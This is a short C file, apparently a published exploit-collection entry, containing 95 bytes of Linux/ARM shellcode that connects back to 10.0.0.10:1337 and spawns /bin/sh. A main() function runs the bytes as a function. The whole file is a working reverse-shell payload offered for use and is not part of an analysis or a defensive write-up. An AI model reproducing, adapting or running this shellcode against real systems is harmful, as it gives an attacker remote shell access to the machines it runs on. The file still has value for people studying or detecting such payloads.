/*
    Title   : Linux/ARM - Connect back to {ip:port} with /bin/sh
    Length  : 95 bytes
    Date    : 2014-06-03
    Author  : Xeon
    Tested  : ARM1176 rev6 (v6l)
*/
 
#include <stdio.h>
#include <string.h>
 
    char *shellcode =    "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x92\x1a\x90\x1a\x17\x27\x01\xdf"
             "\x02\x20\x41\x1e\x82\x1e\x07\x02\xe7\x3f\x01\xdf\x05\x1c\x01\xac"
             "\x02\x21\x21\x60\x02\x34\x05\x21\x21\x70\x01\x34\x39\x21\x21\x70"
             "\x0a\x21\x02\x91\x04\x34\x21\x70\x01\xa9\x10\x22\x02\x37\x01\xdf"
             "\xdc\x3f\x02\x21\x28\x1c\x01\xdf\x01\x39\xfb\xd5\x49\x1a\x92\x1a"
             "\x0b\x27\x01\xa0\x01\xdf\xc0\x46\x2f\x62\x69\x6e\x2f\x73\x68"; /* 10.0.0.10:1337 */
 
int main()
{
__asm__ (   "eor r0, r0\n\t"
            "sub r0, #1\n\t"
            "mov r1, r0\n\t"
            "mov r2, r0\n\t"
            "mov r3, r0\n\t"
            "mov r4, r0\n\t"
            "mov r5, r0\n\t"
            "mov r6, r0\n\t"
            "mov r7, r0\n\t");
 
    printf("Shellcode length: %d\n", strlen(shellcode));
    printf("Running shellcode...\n");
    (*(void(*)()) shellcode)();
    printf("Failed!\n");
    return 0;
}